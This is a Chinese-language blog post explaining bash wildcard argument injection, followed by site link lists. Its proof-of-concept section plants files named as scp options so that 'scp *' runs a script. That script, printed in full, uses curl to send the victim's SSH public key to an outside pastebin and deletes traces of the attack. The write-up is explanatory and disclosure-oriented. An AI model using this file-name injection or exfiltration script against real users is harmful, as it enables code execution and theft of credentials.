当你在一个bash命令行中输入“*”时,bash会扩展到当前目录的所有文件,然后将他们全部作为参数传递给程序。例如:rm *,将会删除掉当前目录的所有文件。

0x01 文件名被当做参数

大多数的命令行程序受此影响。例如ls命令,当不适用任何参数时,输出是这个样子的:

[stephen@superX foo]$ ls asdf.txtfoobar-l

如果你想要知道这些文件所属的组和用户,你可以通过”-l"参数来查看:

[stephen@superX foo]$ ls -l total 0 -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l

注意,有一个名字是“-l”的文件,我们试试“ls *”会发生什么。

[stephen@superX foo]$ ls * -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

与之前不同的是"ls *” 没有输出-l文件,-l文件被当做了此命令的参数。

此条命令相当于运行:

[stephen@superX foo]$ ls asdf.txt foobar -l -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar 0x02 安全问题

此问题可能导致一些安全问题,当有人参数当中带有一个通配符,又没有事先检查目录下的文件名称。这可能被用来攻击别人电脑。

这个问题是众所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已经有关于此问题的讨论。

0x03 Proof of Concept Exploit

为了证明这个问题可以转化为一个任意代码执行攻击,我们尝试攻击“scp”命令,scp命令提供了-o选项,配置ssh,SSh有涉及运行命令的选项,我们可以利用这一点,让我们的脚本运行。

假设我们有一个目录的控制权限,在该目录下受害者将运行以下命令(想象一下,用户只下载一个web应用程序的源代码,并上传到他们的网络服务器上):

$ scp * user@example.org:/var/www/

为了利用这个命令,在目录下我们需要放几个文件:

"-o" - SCP 将会把这个文件当做 "-o” 参数。 "ProxyCommand sh supercool.sh %h %p" - SCP 将会把这个文件当做 "-o" 的一个参数。 "supercool.sh" - 这个脚本将会被执行。 "zzz.txt" - 没有任何用处的测试文件。

在supercool.sh文件里,有一些恶意的命令:

#!/bin/sh # Upload their SSH public key to the Internet, and put a scary message in /tmp/. echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt curl -s -d "jscrypt=no" -d "lifetime=864000"\ -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"\ https://defuse.ca/bin/add.php -D - |\ grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt # Delete evidence of our attack. rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p echo > ./supercool.sh # Do what ProxyCommand is supposed to do. nc -p 2881064151 -w 5 $1 $2

当受害者执行命令时:

$ scp * user@example.org:/var/www/ supercool.sh zzz.txt

当他检查自己的/tmp目录下的时候将会看到:

$ cat /tmp/you-have-been-hacked.txt By @DefuseSec and @redragonx... This could have been your private key... https://defuse.ca/b/QQ3nxADu

可以在这里下载完整的poc文件:poc.zip

supercool.sh文件里,有哪些恶意的命令的更多相关文章

  1. SSH远程登录、.sh文件后缀运行、l l命令结果说明、VIM模式切换

    目录 SSH远程登录..sh文件后缀运行.l l命令结果说明.VIM模式切换 SSH远程安全登录 .sh文件后缀运行 l l命令结果说明 VIM模式切换 SSH远程登录..sh文件后缀运行.l l命令 ...

  2. Linux下面如何运行.sh文件

    Linux下面如何运行.sh文件   本文介绍Linux下面用命令如何运行.sh文件的方法,有两种方法: 一.直接./加上文件名.sh,如运行hello.sh为./hello.sh[hello.sh必 ...

  3. iredmail安装脚本分析(二)---get_all.sh 文件所在目录为PKGS

    经过上面的一系列分析后,进入到获取安装包的步骤,作者在此处单独写了一个脚本,get_all.sh,我们继续分析这个脚本 _ROOTDIR="$(pwd)" CONF_DIR=&qu ...

  4. Linux定时任务调用sh文件

    1.编写sh文件 创建:vi test.sh 写入:date >> /xiaol/data.txt 2.默认创建的这个sh问件是没有执行权限的,修改权限 chmod 777 test.sh ...

  5. 基于CentOS的MySQL学习补充四--使用Shell批量从CSV文件里插入数据到数据表

    本文出处:http://blog.csdn.net/u012377333/article/details/47022699 从上面的几篇文章中,能够知道怎样使用Shell创建数据库.使用Shell创建 ...

  6. linux查找文件夹下的全部文件里是否含有某个字符串

    查找文件夹下的全部文件里是否含有某个字符串  find .|xargs grep -ri "IBM"  查找文件夹下的全部文件里是否含有某个字符串,而且仅仅打印出文件名称  fin ...

  7. Notepad++编辑.sh文件

    使用记事本创建创建test.txt文件,修改后缀名为sh后,再文件里写以下内容: #!/bin/bash echo "hello world" 这样的文件再linux里是无法执行的 ...

  8. 从java文件和CS文件里查询方法使用次数工具

    前几天,领导让我找一下老系统(Java)里getRemoteUser方法都哪个文件用了,package是什么,方法被调用了多少次,当时因为着急,所以,直接人工找的,但是以后要是再出现,人工找就太讨厌了 ...

  9. html文件里引入文件html文件

    导入通用的代码除了使用php外 iframe在很多界面使用起来比较方便 比如说要写导航 在好几个界面都要用这个导航 可以用iframe引用 实例:这个header.html是我写的一个导航界面 在in ...

随机推荐

  1. PHP求余函数fmod()

    定义和用法 fmod() 函数返回除法的浮点数余数. 语法 fmod(x,y) 参数 描述 x 必需.一个数. y 必需.一个数. 说明 返回被除数(x)除以除数(y)所得的浮点数余数.余数(r)的定 ...

  2. java基础知识(三)java关键字

    关键字是电脑语言事先定义的,是特别意义的标识符,又叫保留字.用来表示一种数据类型或程序的结构等,关键字不能用作变量名.类名.方法名或参数.java目前共有50个关键字,其中"const&qu ...

  3. php之登录功能实现。

    项目默认存在的东西:jquery库[jquery.min.js] 登录功能实现的基本逻辑: 1.书写前台php功能基本页面:(index.php) a.编写基本功能,比如用户名.密码.登录 b.引用j ...

  4. 初学者在ubuntu下安装使用git(上)

      一 git的安装测试 在Ubuntu系统下的bash中输入git,如果提示没有安装的话,用命令 sudo apt-get install git 安装git,安装完成之后通过 git –versi ...

  5. jq 实现无限级地区联动 样式为bootstrap

    HTML 部分 <div class="row" style="margin:100px auto;"> <form method=" ...

  6. BZOJ 4723: [POI2017]Flappy Bird

    Description 从一个点到一条直线,每次纵坐标只能增加或减少1,有些位置有障碍,求最少增加步数. Sol 贪心. 或许是贪心吧...反正在可到达的范围内,纵坐标尽量小... 做的时候维护一下两 ...

  7. CodeViz代码可视化

    安装可以参见,http://blogimg.chinaunix.net/blog/upfile2/091119203927.pdf 结合pdf教程,这里说下注意事项: 1 ) 必须先安装GRAPHVI ...

  8. JTabbedPane 和 JScrollBar 联合使用

    需求:实现一个JTabbed, 当下拉到Tabbed的底部时,自动加载下一次的数据. 下面是具体代码: import java.awt.*; import javax.swing.table.Defa ...

  9. node03-events

    目录:node01-创建服务器 node02-util node03-events node04-buffer node05-fs node06-path node07-http node08-exp ...

  10. 面向切面编程AOP

    本文的主要内容(AOP): 1.AOP面向切面编程的相关概念(思想.原理.相关术语) 2.AOP编程底层实现机制(动态代理机制:JDK代理.Cglib代理) 3.Spring的传统AOP编程的案例(计 ...